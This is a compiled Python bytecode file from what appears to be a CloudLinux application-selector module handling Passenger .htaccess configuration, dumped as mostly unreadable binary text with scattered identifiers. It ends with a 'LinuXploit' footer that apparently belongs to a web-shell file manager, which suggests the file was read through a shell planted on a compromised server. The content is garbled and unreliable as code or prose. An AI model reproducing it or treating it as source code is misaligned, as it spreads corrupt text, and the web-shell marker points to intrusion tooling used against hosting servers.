subprocess�Popen�PIPErD�decoder��strip�UnicodeDecodeErrorrg)r��p�clean_linesr��decoded_lines     r3�_find_htaccess_filesrO8s�����+�x��+�F� *�� *��	1�	1�	1�A�
�K������	��;�;�w�/�/�L����|�1�1�3�3�4�4�4�4��!�	�	�	��H�	�����9�9�[�!�!�!s�<A9�9
B�Bc�h�|�t|��n|}g}|D]�\}}|��t||��}|s0t|��}t|||��t||��}|��M|D];}|r7tj�|��}	|�||	|f���<��t||��SrE)	rr�rOr�rKr`rar��_htaccess_summary)
r1�userdomains_data�domain_docroot_pairs�domain_alias_docroot�domainr�rf�
stdoutdata�ht_pathr�s
          r3rrJs���
1A�0H�;�t�,�,�,�N^����0�G�G�������+�D�(�;�;���	@�-�h�7�7�J� ��x��<�<�<�/��h�?�?�N��!��%�	G�	G�G��
G������0�0��$�+�+�V�U�H�,E�F�F�F��	G�
�T�#7�8�8�8r5c�^�i}|D�]�\}}}tj�|d��}	t|d���}n#tt
f$rY�MwxYwt
jd|tj��}|s�tt
jd|tj��}	|	s��t||��\}
}t||��\}}t|
|��\}}}|�tj��}||f}
t
jd|tj��}|r*t|���d|��s��@||||���d|	���d	���|	���d
d�||
<���|S)Nr�r7r8z+^PassengerAppRoot\s+"?(?P<directory>.+?)"?$zD^Passenger(?P<interpreter>Python|Ruby|Nodejs)\s+"?(?P<binary>.+?)"?$z(^PassengerBaseURI\s+"?(?P<appuri>.+?)"?$�appurir�rr)r
rUr�r�rr)rKr`rgr$r?rS�re�search�	MULTILINEr"r!�lstripr��compare_aliases�	groupdict�lower)r1rT�summrUr�r�r
r�approotr�	alias_absr��doc_root_absrrYs               r3rQrQes���
�D�#7�'
�'
����x��7�<�<��{�3�3��	�$�X�6G�H�H�H�L�L����!�	�	�	��H�	�����)�9��"�,�(�(���	���i�
#��"�,�(�(���	��"�4��/�/��	�1�%�d�H�5�5���a�!�)�\�:�:���1�e����R�V�$�$����'����E�'���7�7���	�/�&�*:�*:�*<�*<�X�*F��N�N�	��!��� �*�*�,�,�[�9�&�0�0�2�2�=�A�G�G�I�I�!�+�+�-�-�h�7�

�
��\����Ks�?�A�Ac���tj�|�d����tj�|�d����kS)N�/)rKr`r�rJ)�alias1�alias2s  r3r^r^�sF��
�7���F�L�L��-�-�.�.�"�'�2B�2B�6�<�<�PS�CT�CT�2U�2U�U�Ur5c��i}tt||�����D]�\}}|\}}|d}	t||��\}}	nf#tj$rTtjt
jd�tj	�
|d��|����Y��wxYw||d<	t||	|��}
d|
vrg|
d<��|
d�|����#t$r|g|d<|||	<Y��wxYw|S)N)rRr�z1{} is broken, directory {} is not in user's home.r�r��domains)rrr"r�	WrongDatarVrWrXrKr`rgr&r�r�)r1rR�summ_resultr�valuerUr��app_rootr�r�rs           r3r�r��s^���K�(��$�IY�)Z�)Z�)Z�[�[�6�6���e�$�
�����%��		�&�t�X�6�6�L�A�y�y���'�	�	�	��M��"�D�K�K��G�L�L���4�4����
�
�
�
�H�	������g��
	6�1�$�	�;�O�O�K���+�+�)+��I�&�&��I�&�-�-�f�5�5�5�5���	+�	+�	+� &�x�E�)��%*�K�	�"�"�"�	+�����s$�A�A B+�*B+�4C+�+D�Dc�p�t||t|����}|d}t|��dS)Nr
)r&r�r)r1r�r!r
s    r3r(r(�s7��&�t�Y���
�
�F�F�H��
�#�H�������r5c�"�t|d���}|���}g}d}|D]6}|tkrd}�|tkrd}�|r�!|�|���7t|��}t
|d�|D��dd���dS)Nr7r8FTc3� K�|]	}d|zV��
dSr�r�r�s  r3r�z_unconfigure.<locals>.<genexpr>�s&����?�?��v��}�?�?�?�?�?�?r5r()r$r�r�r�r�r�r%)r
rr�r�r�r�s      r3rr�s����X�.?�@�@�@�L��#�#�%�%�E��I��I��	�	���>�!�!��I���<����I���	����������!�)�,�,�E��H�?�?��?�?�?��M^�_�_�_�_�_�_r5c#�K�|�tj��D]&}tj�||��}|V��'dSrE)r�rKr�r`rg)�root�subrLs   r3�	iter_pathru�sM����
�Y�Y�r�v�
�
�����w�|�|�D�!�$�$���
�
�
�
��r5c�<�t||��\}}tj�|��st	jdd|iz���tj�|d��}tj�|��stj|��tj�|t��}tj�|��rtj	|d��dSt|d�����dS)NzMissing directory %(abs_dir)srr,r)r"rKr`rxr�MissingApprootDirectoryrgrc�RESTART_PATH�utimer:rF)r1r�rr��tmp_dir�app_restarts      r3r3r3�s����T�9�-�-�J�G�Q�
�7�>�>�'�"�"�m��4�5T�Xa�cj�Wk�5k�l�l�l��g�l�l�7�E�*�*�G�
�7�>�>�'�"�"��
�������'�,�,�w��5�5�K�	�w�~�~�k�"�"�'�
���d�#�#�#�#�#��[�#���$�$�&�&�&�&�&r5c��g}d}|D]3}|���rd}n|r�d}|�|���4|r
|dd�S|S)NTF���)rJr�)r��_lines�
empty_liner�s    r3r�r��sr��
�F��J������:�:�<�<�	��J�J�
�	���J��
�
�d��������c�r�c�{���Mr5)NNrE)i�
__future__rrrr;r,rVr�future.utilsr�future.movesrr�rO�loggingrKrZrF�clcommonr	r
�clcommon.cpapir�clcommon.utilsrr
rr�clquotarrrrrrr�lveapirr�secureiorr�typingrr�clselectexceptrrr r!r"r#r$r%r&r'�	getLogger�__name__r��setLevel�ERROR�
StreamHandlerr:�null_handler�
addHandlerr�r�r-r0rxr.r1�
APPJS_PATHr2r4rCrHr^rNrir�r�r�r�r�r�r�r�r�rrr&r)r�r�rOrrQr^r�r(rrur3r�r�r5r3�<module>r�s��'�&�&�&�&�&�%�%�%�%�%�%�����������
�
�
�
�
�
�
�
�������"�"�"�"�"�"�5�5�5�5�5�5�	�	�	�	�����	�	�	�	�	�	�	�	�����%�%�%�%�%�%�%�%�&�&�&�&�&�&�E�E�E�E�E�E�;�;�;�;�;�;�;�;�'�'�'�'�'�'�E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�E�$�$�$�$�$�$�$�$�1�1�1�1�1�1�1�1���������*�*�*�*�*�*�:�:�:�:�:�:�:�:�:�:�C�C�C�C�C�C�C�C�C�C�C�C�?�?�?�?�?�?�?�?�
��	�8�	$�	$������
����$�w�$�T�T�+�s�%;�%;�<�<�����,����M��H��
�	�	�
�!���	�
�
��
�	��@�@�@�
���
�
�
�&�&�&�>G�G�G�J�J�J�
*�*�*�Z���4���<=�=�=�6���.���	,�	,�	,�0�0�0�Q�Q�Q�.EI��D�z�VZ�WN�WN�WN�WN�ta�a�a�$@�@�@�@�&%�%�%�
=G�4�4�4�4�n
�
�
�"�"�"�$9�9�9�9�6*�*�*�ZV�V�V�����B���`�`�`�*���'�'�'�����r5

Youez - 2016 - github.com/yon3zu
LinuXploit